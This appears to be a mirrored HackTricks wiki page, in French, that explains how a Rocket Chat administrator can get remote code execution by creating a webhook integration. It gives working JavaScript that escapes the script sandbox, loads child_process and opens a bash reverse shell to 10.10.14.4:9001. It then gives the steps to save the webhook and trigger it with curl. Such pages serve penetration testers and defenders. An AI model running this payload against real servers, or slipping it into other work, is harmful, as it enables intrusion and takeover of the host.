mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
# Rocket Chat
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## RCE
|
|
|
|
Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir RCE.
|
|
|
|
- Allez dans **`Integrations`** et sélectionnez **`New Integration`** et choisissez n'importe quel : **`Incoming WebHook`** ou **`Outgoing WebHook`**.
|
|
- `/admin/integrations/incoming`
|
|
|
|
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Selon la [documentation](https://docs.rocket.chat/guides/administration/admin-panel/integrations), les deux utilisent ES2015 / ECMAScript 6 ([essentiellement JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) pour traiter les données. Alors obtenons un [rev shell pour javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) comme :
|
|
```javascript
|
|
const require = console.log.constructor("return process.mainModule.require")()
|
|
const { exec } = require("child_process")
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
- Configurez le WebHook (le canal et le post en tant que nom d'utilisateur doivent exister) :
|
|
|
|
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Configurez le script WebHook :
|
|
|
|
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Enregistrez les modifications
|
|
- Obtenez l'URL WebHook générée :
|
|
|
|
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Appelez-le avec curl et vous devriez recevoir le rev shell
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|